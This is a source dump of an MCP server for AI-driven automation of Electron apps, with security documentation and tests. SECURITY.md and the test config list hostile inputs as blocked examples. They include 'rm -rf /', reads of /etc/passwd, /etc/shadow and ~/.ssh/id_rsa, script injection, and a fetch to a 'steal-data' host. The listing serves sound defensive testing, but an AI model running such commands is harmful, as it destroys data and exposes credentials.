682 | 4. Push to the branch (`git push origin feature/awesome-feature`)
683 | 5. Open a Pull Request
684 |
685 | ## 📄 License
686 |
687 | MIT License - see [LICENSE](LICENSE) file for details.
688 |
689 | ## ☕ Support
690 |
691 | If this project helped you, consider buying me a coffee! ☕
692 |
693 | [](https://ko-fi.com/halilural)
694 |
695 | Your support helps me maintain and improve this project. Thank you! 🙏
696 |
697 | ## 🙏 Acknowledgments
698 |
699 | - **[Model Context Protocol](https://modelcontextprotocol.io)** - Standardized AI-application interface
700 | - **[Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)** - Universal debugging interface
701 | - **[Playwright](https://playwright.dev)** - Reliable browser automation
702 | - **[Electron](https://electronjs.org)** - Cross-platform desktop applications
703 |
704 | ## 🔗 Links
705 |
706 | - **[GitHub Repository](https://github.com/halilural/electron-mcp-server)**
707 | - **[NPM Package](https://www.npmjs.com/package/electron-mcp-server)**
708 | - **[Model Context Protocol](https://modelcontextprotocol.io)**
709 | - **[Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/)**
710 | - **[Issue Template](./ISSUE_TEMPLATE.md)** - Standardized bug reporting format
711 | - **[React Compatibility Issues Documentation](./REACT_COMPATIBILITY_ISSUES.md)** - Technical debugging guide for React applications
712 |
713 | ---
714 |
715 | **Ready to supercharge your Electron development with AI-powered automation?** Install the MCP server and start building smarter workflows today! 🚀
716 |
```
--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------
```markdown
1 | # Security Implementation
2 |
3 | This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands.
4 |
5 | ## 🛡️ Security Features
6 |
7 | ### 1. Code Execution Isolation
8 | - **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess
9 | - **Resource Limits**:
10 | - Maximum execution time: 5 seconds
11 | - Memory limit: 50MB
12 | - No filesystem access unless explicitly needed
13 | - No network access by default
14 | - **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox
15 |
16 | ### 2. Input Validation & Sanitization
17 | - **Static Analysis**: Commands are analyzed for dangerous patterns before execution
18 | - **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc.
19 | - **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts
20 | - **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical)
21 | - **Command Sanitization**: Dangerous content is escaped or removed
22 |
23 | ### 3. Comprehensive Audit Logging
24 | - **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data
25 | - **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes
26 | - **Security Events**: Failed attempts and blocked commands are specially flagged
27 | - **Performance Metrics**: Track execution patterns for anomaly detection
28 |
29 | ### 4. Secure Screenshot Handling
30 | - **Encryption**: Screenshot data is encrypted before storage
31 | - **User Notification**: Clear logging when screenshots are taken
32 | - **Data Minimization**: Screenshots are only stored temporarily
33 | - **Secure Transmission**: Base64 data is transmitted over secure channels
34 |
35 | ## 🚨 Blocked Operations
36 |
37 | The following operations are automatically blocked for security:
38 |
39 | ### Critical Risk Operations
40 | - Direct `eval()` or `Function()` calls
41 | - File system access (`fs`, `readFile`, `writeFile`)
42 | - Process control (`spawn`, `exec`, `kill`)
43 | - Network requests in user code
44 | - Module loading (`require`, `import`)
45 | - Global object manipulation
46 |
47 | ### High Risk Patterns
48 | - Excessive string concatenation (potential obfuscation)
49 | - Encoded content (`\\x`, `\\u` sequences)
50 | - Script injection patterns
51 | - Cross-site scripting attempts
52 |
53 | ## ⚙️ Configuration
54 |
55 | Security settings can be configured via environment variables:
56 |
57 | ```bash
58 | # Encryption
59 | SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here
60 | ```
61 |
62 | ## 📊 Security Metrics
63 |
64 | The system tracks various security metrics:
65 |
66 | - **Total Requests**: Number of commands processed
67 | - **Blocked Requests**: Commands blocked due to security concerns
68 | - **Risk Distribution**: Breakdown by risk levels
69 | - **Average Execution Time**: Performance monitoring
70 | - **Error Rate**: Failed execution percentage
71 |
72 | ## 🔍 Example Security Validations
73 |
74 | ### ✅ Safe Commands
75 | ```javascript
76 | // UI interactions
77 | document.querySelector('#button').click()
78 |
79 | // Data extraction
80 | document.getElementById('title').innerText
81 |
82 | // Simple DOM manipulation
83 | element.style.display = 'none'
84 | ```
85 |
86 | ### ❌ Blocked Commands
87 | ```javascript
88 | // File system access
89 | require('fs').readFileSync('/etc/passwd')
90 |
91 | // Code execution
92 | eval('malicious code')
93 |
94 | // Process control
95 | require('child_process').exec('rm -rf /')
96 |
97 | // Network access
98 | fetch('http://malicious-site.com/steal-data')
99 | ```
100 |
101 | ## 🛠️ Development Guidelines
102 |
103 | When extending the MCP server:
104 |
105 | 1. **Always validate input** before processing
106 | 2. **Log security events** for audit trails
107 | 3. **Test with malicious inputs** to verify security
108 | 4. **Follow principle of least privilege**
109 | 5. **Keep security dependencies updated**
110 |
111 | ## 📝 Security Audit Trail
112 |
113 | All security events are logged to `logs/security/` with the following information:
114 |
115 | - Timestamp and session ID
116 | - Command content (encrypted if sensitive)
117 | - Risk assessment results
118 | - Execution outcome
119 | - User context (if available)
120 | - Performance metrics
121 |
122 | **Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended.
123 |
```
--------------------------------------------------------------------------------
/src/utils/logs.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { getElectronLogs } from './electron-process';
2 |
3 | // Helper function to read Electron logs
4 | export async function readElectronLogs(
5 | logType: string = 'all',
6 | lines: number = 100,
7 | ): Promise<string[]> {
8 | const allLogs = getElectronLogs();
9 |
10 | const relevantLogs = allLogs
11 | .filter((log) => {
12 | if (logType === 'all') return true;
13 | if (logType === 'console') return log.includes('[Console]');
14 | if (logType === 'main') return log.includes('[Main]');
15 | if (logType === 'renderer') return log.includes('[Renderer]');
16 | return true;
17 | })
18 | .slice(-lines);
19 |
20 | return relevantLogs;
21 | }
22 |
```
--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------
```json
1 | {
2 | "compilerOptions": {
3 | "target": "ES2022",
4 | "module": "ESNext",
5 | "moduleResolution": "Node",
6 | "esModuleInterop": true,
7 | "allowSyntheticDefaultImports": true,
8 | "strict": true,
9 | "skipLibCheck": true,
10 | "forceConsistentCasingInFileNames": true,
11 | "declaration": true,
12 | "outDir": "./dist",
13 | "rootDir": "./src",
14 | "resolveJsonModule": true,
15 | "allowImportingTsExtensions": false,
16 | "noEmit": false,
17 | "moduleDetection": "force",
18 | "baseUrl": "./src",
19 | "paths": {
20 | "*": ["*"]
21 | }
22 | },
23 | "include": ["src/**/*"],
24 | "exclude": ["node_modules", "dist", "**/*.test.ts"]
25 | }
26 |
```
--------------------------------------------------------------------------------
/tests/conftest.ts:
--------------------------------------------------------------------------------
```typescript
1 | /**
2 | * Global test configuration - similar to Python's conftest.py
3 | * This file contains global test setup, fixtures, and configuration
4 | * that applies to all test files in the project.
5 | */
6 |
7 | import { beforeAll, afterAll } from 'vitest';
8 | import { GlobalTestSetup } from './support/setup';
9 |
10 | // Global test setup that runs once before all tests
11 | beforeAll(async () => {
12 | await GlobalTestSetup.initialize();
13 | });
14 |
15 | // Global test cleanup that runs once after all tests
16 | afterAll(async () => {
17 | await GlobalTestSetup.cleanup();
18 | });
19 |
20 | // Export commonly used test utilities for easy importing
21 | export { TestHelpers } from './support/helpers';
22 | export { TEST_CONFIG } from './support/config';
23 | export type { TestElectronApp } from './support/helpers';
24 |
```
--------------------------------------------------------------------------------
/webpack.config.ts:
--------------------------------------------------------------------------------
```typescript
1 | import path from 'path';
2 | import { Configuration } from 'webpack';
3 | import nodeExternals from 'webpack-node-externals';
4 |
5 | const config: Configuration = {
6 | target: 'node',
7 | mode: 'production',
8 | entry: './src/index.ts',
9 | output: {
10 | path: path.resolve(process.cwd(), 'dist'),
11 | filename: 'index.js',
12 | clean: true,
13 | },
14 | resolve: {
15 | extensions: ['.ts', '.js'],
16 | modules: ['node_modules', 'src'],
17 | },
18 | externals: [nodeExternals({
19 | allowlist: [/@modelcontextprotocol\/.*/]
20 | })],
21 | module: {
22 | rules: [
23 | {
24 | test: /\.ts$/,
25 | use: 'ts-loader',
26 | exclude: /node_modules/,
27 | },
28 | ],
29 | },
30 | optimization: {
31 | minimize: false, // Keep readable for debugging
32 | },
33 | devtool: 'source-map',
34 | };
35 |
36 | export default config;
37 |
```
--------------------------------------------------------------------------------
/src/utils/project.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { exec } from 'child_process';
2 | import { promisify } from 'util';
3 | import { logger } from './logger';
4 |
5 | // Helper function to check if Electron is installed (global or local)
6 | export async function isElectronInstalled(appPath?: string): Promise<boolean> {
7 | try {
8 | const execAsync = promisify(exec);
9 |
10 | if (appPath) {
11 | // Check for local Electron installation in the project
12 | try {
13 | await execAsync('npm list electron', { cwd: appPath });
14 | return true;
15 | } catch {
16 | // If local check fails, try global
17 | logger.warn('Local Electron not found, checking global installation');
18 | }
19 | }
20 |
21 | // Check for global Electron installation
22 | await execAsync('electron --version');
23 | return true;
24 | } catch (error) {
25 | logger.error('Electron not found:', error);
26 | return false;
27 | }
28 | }
29 |
```
--------------------------------------------------------------------------------
/eslint.config.ts:
--------------------------------------------------------------------------------
```typescript
1 | import js from '@eslint/js';
2 | import globals from 'globals';
3 | import tseslint from 'typescript-eslint';
4 |
5 | export default tseslint.config(
6 | {
7 | files: ['**/*.{js,mjs,cjs,ts,mts,cts}'],
8 | languageOptions: {
9 | globals: {
10 | ...globals.node,
11 | ...globals.es2022,
12 | },
13 | parserOptions: {
14 | ecmaVersion: 2022,
15 | sourceType: 'module',
16 | },
17 | },
18 | },
19 | js.configs.recommended,
20 | ...tseslint.configs.recommended,
21 | {
22 | rules: {
23 | '@typescript-eslint/no-explicit-any': 'off',
24 | '@typescript-eslint/no-unused-vars': [
25 | 'error',
26 | {
27 | argsIgnorePattern: '^_',
28 | varsIgnorePattern: '^_',
29 | caughtErrorsIgnorePattern: '^_',
30 | },
31 | ],
32 | 'no-case-declarations': 'off',
33 | 'prefer-const': 'error',
34 | 'no-var': 'error',
35 | 'no-console': 'warn',
36 | },
37 | },
38 | {
39 | files: ['test/**/*'],
40 | rules: {
41 | '@typescript-eslint/no-explicit-any': 'off',
42 | 'no-console': 'off',
43 | },
44 | },
45 | {
46 | ignores: ['dist/**', 'coverage/**', 'node_modules/**', '*.config.js'],
47 | },
48 | );
49 |
```
--------------------------------------------------------------------------------
/src/utils/electron-process.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { ChildProcess } from 'child_process';
2 |
3 | // Electron process management state
4 | export let electronProcess: ChildProcess | null = null;
5 | export let electronLogs: string[] = [];
6 |
7 | /**
8 | * Set the current Electron process reference
9 | */
10 | export function setElectronProcess(process: ChildProcess | null): void {
11 | electronProcess = process;
12 | }
13 |
14 | /**
15 | * Get the current Electron process reference
16 | */
17 | export function getElectronProcess(): ChildProcess | null {
18 | return electronProcess;
19 | }
20 |
21 | /**
22 | * Add a log entry to the Electron logs
23 | */
24 | export function addElectronLog(log: string): void {
25 | electronLogs.push(log);
26 | // Keep only the last 1000 logs to prevent memory issues
27 | if (electronLogs.length > 1000) {
28 | electronLogs = electronLogs.slice(-1000);
29 | }
30 | }
31 |
32 | /**
33 | * Get all Electron logs
34 | */
35 | export function getElectronLogs(): string[] {
36 | return electronLogs;
37 | }
38 |
39 | /**
40 | * Clear all Electron logs
41 | */
42 | export function clearElectronLogs(): void {
43 | electronLogs = [];
44 | }
45 |
46 | /**
47 | * Reset the Electron process state
48 | */
49 | export function resetElectronProcess(): void {
50 | electronProcess = null;
51 | electronLogs = [];
52 | }
53 |
```
--------------------------------------------------------------------------------
/vitest.config.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { defineConfig } from 'vitest/config';
2 | import { resolve } from 'path';
3 | import { config } from 'dotenv';
4 |
5 | // Load environment variables from .env file
6 | config();
7 |
8 | export default defineConfig({
9 | test: {
10 | globals: true,
11 | environment: 'node',
12 | setupFiles: ['./tests/conftest.ts'],
13 | include: ['tests/**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'],
14 | exclude: [
15 | '**/node_modules/**',
16 | '**/dist/**',
17 | '**/cypress/**',
18 | '**/.{idea,git,cache,output,temp}/**',
19 | '**/{karma,rollup,webpack,vite,vitest,jest,ava,babel,nyc,cypress,tsup,build}.config.*',
20 | '**/setup.ts', // Exclude setup file from being run as a test
21 | ],
22 | coverage: {
23 | provider: 'v8',
24 | reporter: ['text', 'json', 'html'],
25 | exclude: [
26 | 'node_modules/',
27 | 'test/',
28 | 'dist/',
29 | 'example-app/',
30 | '**/*.d.ts',
31 | '**/*.config.*',
32 | '**/coverage/**',
33 | ],
34 | },
35 | testTimeout: 10000,
36 | hookTimeout: 10000,
37 | teardownTimeout: 5000,
38 | },
39 | resolve: {
40 | alias: {
41 | '@': resolve(__dirname, './src'),
42 | '@test': resolve(__dirname, './test'),
43 | },
44 | },
45 | });
46 |
```
--------------------------------------------------------------------------------
/tests/integration/react-compatibility/test-react-electron.cjs:
--------------------------------------------------------------------------------
```
1 | const { app, BrowserWindow } = require('electron');
2 |
3 | let mainWindow;
4 |
5 | function createWindow() {
6 | mainWindow = new BrowserWindow({
7 | width: 900,
8 | height: 700,
9 | webPreferences: {
10 | nodeIntegration: false,
11 | contextIsolation: true,
12 | enableRemoteModule: false,
13 | webSecurity: true
14 | },
15 | show: false
16 | });
17 |
18 | // Load the React test app
19 | mainWindow.loadFile('react-test-app.html');
20 |
21 | // Show window when ready
22 | mainWindow.once('ready-to-show', () => {
23 | mainWindow.show();
24 | });
25 |
26 | // Open DevTools for debugging
27 | mainWindow.webContents.openDevTools();
28 |
29 | mainWindow.on('closed', () => {
30 | mainWindow = null;
31 | });
32 | }
33 |
34 | // Enable remote debugging for MCP server
35 | app.commandLine.appendSwitch('remote-debugging-port', '9222');
36 |
37 | app.whenReady().then(() => {
38 | createWindow();
39 | });
40 |
41 | app.on('window-all-closed', () => {
42 | if (process.platform !== 'darwin') {
43 | app.quit();
44 | }
45 | });
46 |
47 | app.on('activate', () => {
48 | if (BrowserWindow.getAllWindows().length === 0) {
49 | createWindow();
50 | }
51 | });
52 |
53 | // Handle errors silently
54 | process.on('uncaughtException', () => {
55 | // Handle error silently
56 | });
57 |
58 | process.on('unhandledRejection', () => {
59 | // Handle error silently
60 | });
61 |
```
--------------------------------------------------------------------------------
/src/utils/logger.ts:
--------------------------------------------------------------------------------
```typescript
1 | /* eslint-disable no-console */
2 | export enum LogLevel {
3 | ERROR = 0,
4 | WARN = 1,
5 | INFO = 2,
6 | DEBUG = 3,
7 | }
8 |
9 | export class Logger {
10 | private static instance: Logger;
11 | private level: LogLevel;
12 |
13 | constructor(level: LogLevel = LogLevel.INFO) {
14 | this.level = level;
15 | }
16 |
17 | static getInstance(): Logger {
18 | if (!Logger.instance) {
19 | // Check environment variable for log level
20 | const envLevel = process.env.MCP_LOG_LEVEL?.toUpperCase();
21 | let level = LogLevel.INFO;
22 |
23 | switch (envLevel) {
24 | case 'ERROR':
25 | level = LogLevel.ERROR;
26 | break;
27 | case 'WARN':
28 | level = LogLevel.WARN;
29 | break;
30 | case 'INFO':
31 | level = LogLevel.INFO;
32 | break;
33 | case 'DEBUG':
34 | level = LogLevel.DEBUG;
35 | break;
36 | }
37 |
38 | Logger.instance = new Logger(level);
39 | }
40 | return Logger.instance;
41 | }
42 |
43 | setLevel(level: LogLevel) {
44 | this.level = level;
45 | }
46 |
47 | error(message: string, ...args: any[]) {
48 | if (this.level >= LogLevel.ERROR) {
49 | console.error(`[MCP] ERROR: ${message}`, ...args);
50 | }
51 | }
52 |
53 | warn(message: string, ...args: any[]) {
54 | if (this.level >= LogLevel.WARN) {
55 | console.error(`[MCP] WARN: ${message}`, ...args);
56 | }
57 | }
58 |
59 | info(message: string, ...args: any[]) {
60 | if (this.level >= LogLevel.INFO) {
61 | console.error(`[MCP] INFO: ${message}`, ...args);
62 | }
63 | }
64 |
65 | debug(message: string, ...args: any[]) {
66 | if (this.level >= LogLevel.DEBUG) {
67 | console.error(`[MCP] DEBUG: ${message}`, ...args);
68 | }
69 | }
70 |
71 | // Helper method to check if a certain level is enabled
72 | isEnabled(level: LogLevel): boolean {
73 | return this.level >= level;
74 | }
75 | }
76 |
77 | // Export singleton instance
78 | export const logger = Logger.getInstance();
79 |
```
--------------------------------------------------------------------------------
/tests/support/setup.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { logger } from '../../src/utils/logger';
2 | import { TestHelpers } from './helpers';
3 | import { TEST_CONFIG } from './config';
4 | import { mkdirSync, existsSync } from 'fs';
5 |
6 | /**
7 | * Global test setup and teardown
8 | * Handles initialization and cleanup that applies to all tests
9 | */
10 | export class GlobalTestSetup {
11 | /**
12 | * Initialize global test environment
13 | * Called once before all tests run
14 | */
15 | static async initialize(): Promise<void> {
16 | logger.info('🚀 Starting test suite - Global setup');
17 |
18 | try {
19 | // Ensure test directories exist
20 | this.ensureTestDirectories();
21 |
22 | // Clean up any leftover artifacts from previous runs
23 | await TestHelpers.cleanup();
24 |
25 | logger.info('📁 Test resource directories initialized');
26 | } catch (error) {
27 | logger.error('Failed to initialize test environment:', error);
28 | throw error;
29 | }
30 | }
31 |
32 | /**
33 | * Clean up global test environment
34 | * Called once after all tests complete
35 | */
36 | static async cleanup(): Promise<void> {
37 | logger.info('🏁 Test suite completed - Global cleanup');
38 |
39 | try {
40 | const { total } = TestHelpers.getCleanupSize();
41 | const totalMB = (total / (1024 * 1024)).toFixed(2);
42 |
43 | logger.info(`🧹 Cleaning up ${totalMB}MB of test artifacts`);
44 |
45 | // Perform comprehensive cleanup
46 | await TestHelpers.cleanup({
47 | removeLogsDir: true,
48 | removeTempDir: true,
49 | preserveKeys: false,
50 | });
51 |
52 | logger.info('✅ Global test cleanup completed successfully');
53 | } catch (error) {
54 | logger.error('Failed to cleanup test environment:', error);
55 | // Don't throw - cleanup failures shouldn't break the test process
56 | }
57 | }
58 |
59 | /**
60 | * Ensure all required test directories exist
61 | */
62 | private static ensureTestDirectories(): void {
63 | Object.values(TEST_CONFIG.PATHS).forEach((dirPath) => {
64 | if (!existsSync(dirPath)) {
65 | mkdirSync(dirPath, { recursive: true });
66 | }
67 | });
68 | }
69 | }
70 |
```
--------------------------------------------------------------------------------
/tests/unit/security-manager.test.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { describe, it, expect, beforeEach } from 'vitest';
2 | import { SecurityManager } from '../../src/security/manager';
3 | import { SecurityLevel } from '../../src/security/config';
4 | import { TEST_CONFIG } from '../conftest';
5 |
6 | describe('SecurityManager Unit Tests', () => {
7 | describe('shouldSandboxCommand', () => {
8 | let securityManager: SecurityManager;
9 |
10 | beforeEach(() => {
11 | securityManager = new SecurityManager();
12 | });
13 |
14 | it('should sandbox risky commands', () => {
15 | TEST_CONFIG.SECURITY.RISKY_COMMANDS.forEach((command) => {
16 | const result = securityManager.shouldSandboxCommand(command);
17 | expect(result).toBe(true);
18 | });
19 | });
20 |
21 | it('should not sandbox simple command names', () => {
22 | const simpleCommands = ['get_window_info', 'take_screenshot', 'get_title', 'get_url'];
23 |
24 | simpleCommands.forEach((command) => {
25 | const result = securityManager.shouldSandboxCommand(command);
26 | expect(result).toBe(false);
27 | });
28 | });
29 |
30 | it('should cache results for performance', () => {
31 | const command = 'test_command';
32 |
33 | // First call
34 | const result1 = securityManager.shouldSandboxCommand(command);
35 |
36 | // Second call should use cache
37 | const result2 = securityManager.shouldSandboxCommand(command);
38 |
39 | expect(result1).toBe(result2);
40 | });
41 | });
42 |
43 | describe('Security Level Configuration', () => {
44 | it('should default to BALANCED security level', () => {
45 | const securityManager = new SecurityManager();
46 | expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.BALANCED);
47 | });
48 |
49 | it('should allow security level changes', () => {
50 | const securityManager = new SecurityManager();
51 |
52 | securityManager.setSecurityLevel(SecurityLevel.PERMISSIVE);
53 | expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.PERMISSIVE);
54 |
55 | securityManager.setSecurityLevel(SecurityLevel.STRICT);
56 | expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.STRICT);
57 | });
58 | });
59 | });
60 |
```
--------------------------------------------------------------------------------
/tests/support/config.ts:
--------------------------------------------------------------------------------
```typescript
1 | import path from 'path';
2 |
3 | /**
4 | * Centralized test configuration
5 | * Contains all test constants, paths, and configuration values
6 | */
7 | export const TEST_CONFIG = {
8 | // Test resource directories
9 | PATHS: {
10 | TEMP_DIR: path.join(process.cwd(), 'temp'),
11 | TEST_TEMP_DIR: path.join(process.cwd(), 'test-temp'),
12 | LOGS_DIR: path.join(process.cwd(), 'logs'),
13 | ELECTRON_APPS_DIR: path.join(process.cwd(), 'temp', 'electron-apps'),
14 | },
15 |
16 | // Test timeouts and limits
17 | TIMEOUTS: {
18 | ELECTRON_START: 10000,
19 | SCREENSHOT_CAPTURE: 5000,
20 | DEFAULT_TEST: 30000,
21 | },
22 |
23 | // Security test data
24 | SECURITY: {
25 | RISKY_COMMANDS: [
26 | 'eval:require("fs").writeFileSync("/tmp/test", "malicious")',
27 | 'eval:process.exit(1)',
28 | 'eval:require("child_process").exec("rm -rf /")',
29 | 'eval:Function("return process")().exit(1)',
30 | 'eval:window.location = "javascript:alert(1)"',
31 | 'eval:document.write("<script>alert(1)</script>")',
32 | ],
33 | MALICIOUS_PATHS: [
34 | '../../../etc/passwd',
35 | '/etc/shadow',
36 | '~/.ssh/id_rsa',
37 | 'C:\\Windows\\System32\\config\\SAM',
38 | '/var/log/auth.log',
39 | '~/.bashrc',
40 | ],
41 | },
42 |
43 | // Electron test app configuration
44 | ELECTRON: {
45 | DEFAULT_PORT_RANGE: [9300, 9400],
46 | WINDOW_TITLE: 'Test Electron App',
47 | HTML_CONTENT: `
48 | <!DOCTYPE html>
49 | <html>
50 | <head>
51 | <title>Test Electron App</title>
52 | </head>
53 | <body>
54 | <h1>Test Application</h1>
55 | <button id="test-button">Test Button</button>
56 | <input id="test-input" placeholder="Test input" />
57 | <select id="test-select">
58 | <option value="option1">Option 1</option>
59 | <option value="option2">Option 2</option>
60 | </select>
61 | </body>
62 | </html>
63 | `,
64 | },
65 | } as const;
66 |
67 | /**
68 | * Create a test-specific temporary directory path
69 | */
70 | export function createTestTempPath(testName?: string): string {
71 | const timestamp = Date.now();
72 | const suffix = testName ? `-${testName.replace(/[^a-zA-Z0-9]/g, '-')}` : '';
73 | return path.join(TEST_CONFIG.PATHS.TEST_TEMP_DIR, `test-${timestamp}${suffix}`);
74 | }
75 |
76 | /**
77 | * Create an Electron app directory path
78 | */
79 | export function createElectronAppPath(port: number): string {
80 | return path.join(TEST_CONFIG.PATHS.ELECTRON_APPS_DIR, `test-electron-${Date.now()}-${port}`);
81 | }
82 |
```
--------------------------------------------------------------------------------
/src/schemas.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { z } from 'zod';
2 |
3 | // Command arguments schema for better type safety and documentation
4 | export const CommandArgsSchema = z
5 | .object({
6 | selector: z
7 | .string()
8 | .optional()
9 | .describe(
10 | 'CSS selector for targeting elements (required for click_by_selector, click_button)',
11 | ),
12 | text: z
13 | .string()
14 | .optional()
15 | .describe(
16 | 'Text content for searching or keyboard input (required for click_by_text, send_keyboard_shortcut)',
17 | ),
18 | value: z
19 | .string()
20 | .optional()
21 | .describe('Value to input into form fields (required for fill_input)'),
22 | placeholder: z
23 | .string()
24 | .optional()
25 | .describe(
26 | 'Placeholder text to identify input fields (alternative to selector for fill_input)',
27 | ),
28 | message: z.string().optional().describe('Message or content for specific commands'),
29 | code: z.string().optional().describe('JavaScript code to execute (for eval command)'),
30 | })
31 | .describe('Command-specific arguments. Structure depends on the command being executed.');
32 |
33 | // Schema definitions for tool inputs
34 | export const SendCommandToElectronSchema = z.object({
35 | command: z.string().describe('Command to send to the Electron process'),
36 | args: CommandArgsSchema.optional().describe(
37 | 'Arguments for the command - must be an object with appropriate properties based on the command type',
38 | ),
39 | });
40 |
41 | export const TakeScreenshotSchema = z.object({
42 | outputPath: z
43 | .string()
44 | .optional()
45 | .describe('Path to save the screenshot (optional, defaults to temp directory)'),
46 | windowTitle: z.string().optional().describe('Specific window title to screenshot (optional)'),
47 | });
48 |
49 | export const ReadElectronLogsSchema = z.object({
50 | logType: z
51 | .enum(['console', 'main', 'renderer', 'all'])
52 | .optional()
53 | .describe('Type of logs to read'),
54 | lines: z.number().optional().describe('Number of recent lines to read (default: 100)'),
55 | follow: z.boolean().optional().describe('Whether to follow/tail the logs'),
56 | });
57 |
58 | export const GetElectronWindowInfoSchema = z.object({
59 | includeChildren: z.boolean().optional().describe('Include child windows information'),
60 | });
61 |
62 | // Type helper for tool input schema
63 | export type ToolInput = {
64 | type: 'object';
65 | properties: Record<string, any>;
66 | required?: string[];
67 | };
68 |
```
--------------------------------------------------------------------------------
/SECURITY_CONFIG.md:
--------------------------------------------------------------------------------
```markdown
1 | # MCP Security Configuration
2 |
3 | The MCP Electron server uses a **BALANCED** security level that provides an optimal balance between security and functionality.
4 |
5 | ## Security Level: BALANCED (Default)
6 |
7 | The server automatically uses the BALANCED security level, which:
8 |
9 | - Allows safe UI interactions and DOM queries
10 | - Blocks dangerous operations like eval and assignments
11 | - Provides good balance between security and functionality
12 | - Cannot be overridden by environment variables for security consistency
13 |
14 | ## Security Features
15 |
16 | - ✅ Safe UI interactions (clicking, focusing elements)
17 | - ✅ DOM queries (reading element properties)
18 | - ✅ Property access (reading values)
19 | - ❌ Assignment operations (security risk)
20 | - ❌ Function calls in eval (injection risk)
21 | - ❌ Constructor calls (potential exploit vector)
22 |
23 | ## Usage Examples
24 |
25 | Based on your logs, you want to interact with UI elements. Use these secure commands instead of raw eval:
26 |
27 | ### ✅ Secure Ways to Interact:
28 |
29 | ```javascript
30 | // Instead of: document.querySelector('button').click()
31 | command: 'click_by_selector';
32 | args: {
33 | selector: "button[title='Create New Encyclopedia']";
34 | }
35 |
36 | // Instead of: document.querySelector('[title="Create New Encyclopedia"]').click()
37 | command: 'click_by_text';
38 | args: {
39 | text: 'Create New Encyclopedia';
40 | }
41 |
42 | // Instead of: location.hash = '#create'
43 | command: 'navigate_to_hash';
44 | args: {
45 | text: 'create';
46 | }
47 |
48 | // Instead of: new KeyboardEvent('keydown', {...})
49 | command: 'send_keyboard_shortcut';
50 | args: {
51 | text: 'Ctrl+N';
52 | }
53 | ```
54 |
55 | ### ❌ What Gets Blocked (and why):
56 |
57 | ```javascript
58 | // ❌ Raw function calls in eval
59 | document.querySelector('[title="Create New Encyclopedia"]').click();
60 | // Reason: Function calls are restricted for security
61 |
62 | // ❌ Assignment operations
63 | location.hash = '#create';
64 | // Reason: Assignment operations can be dangerous
65 |
66 | // ❌ Constructor calls
67 | new KeyboardEvent('keydown', { key: 'n', metaKey: true });
68 | // Reason: Constructor calls can be used for code injection
69 | ```
70 |
71 | ## Configuration in Code
72 |
73 | The security level is automatically set to BALANCED and cannot be changed:
74 |
75 | ```typescript
76 | import { SecurityManager } from './security/manager';
77 |
78 | // SecurityManager automatically uses BALANCED security level
79 | const securityManager = new SecurityManager();
80 |
81 | // Security level is fixed and cannot be changed at runtime
82 | // This ensures consistent security across all deployments
83 | ```
84 |
```
--------------------------------------------------------------------------------
/src/index.ts:
--------------------------------------------------------------------------------
```typescript
1 | #!/usr/bin/env node
2 |
3 | // Load environment variables from .env file
4 | import { config } from 'dotenv';
5 | import { Server } from '@modelcontextprotocol/sdk/server/index';
6 | import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio';
7 | import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types';
8 | import { tools } from './tools';
9 | import { handleToolCall } from './handlers';
10 | import { logger } from './utils/logger';
11 |
12 | config();
13 |
14 | // Create MCP server instance
15 | const server = new Server(
16 | {
17 | name: 'electron-mcp-server',
18 | version: '1.0.0',
19 | },
20 | {
21 | capabilities: {
22 | tools: {},
23 | },
24 | },
25 | );
26 |
27 | // List available tools
28 | server.setRequestHandler(ListToolsRequestSchema, async () => {
29 | logger.debug('Listing tools request received');
30 | return { tools };
31 | });
32 |
33 | // Handle tool execution
34 | server.setRequestHandler(CallToolRequestSchema, async (request) => {
35 | const start = Date.now();
36 |
37 | logger.info(`Tool call: ${request.params.name}`);
38 | logger.debug(`Tool call args:`, JSON.stringify(request.params.arguments, null, 2));
39 |
40 | const result = await handleToolCall(request);
41 |
42 | const duration = Date.now() - start;
43 | if (duration > 1000) {
44 | logger.warn(`Slow tool execution: ${request.params.name} took ${duration}ms`);
45 | }
46 |
47 | // Log result but truncate large base64 data to avoid spam
48 | if (logger.isEnabled(2)) {
49 | // Only if DEBUG level
50 | const logResult = { ...result };
51 | if (logResult.content && Array.isArray(logResult.content)) {
52 | logResult.content = logResult.content.map((item: any) => {
53 | if (
54 | item.type === 'text' &&
55 | item.text &&
56 | typeof item.text === 'string' &&
57 | item.text.length > 1000
58 | ) {
59 | return {
60 | ...item,
61 | text: item.text.substring(0, 100) + '... [truncated]',
62 | };
63 | }
64 | if (
65 | item.type === 'image' &&
66 | item.data &&
67 | typeof item.data === 'string' &&
68 | item.data.length > 100
69 | ) {
70 | return {
71 | ...item,
72 | data: item.data.substring(0, 50) + '... [base64 truncated]',
73 | };
74 | }
75 | return item;
76 | });
77 | }
78 |
79 | logger.debug(`Tool call result:`, JSON.stringify(logResult, null, 2));
80 | }
81 |
82 | return result;
83 | });
84 |
85 | // Start the server
86 | async function main() {
87 | const transport = new StdioServerTransport();
88 | logger.info('Electron MCP Server starting...');
89 | await server.connect(transport);
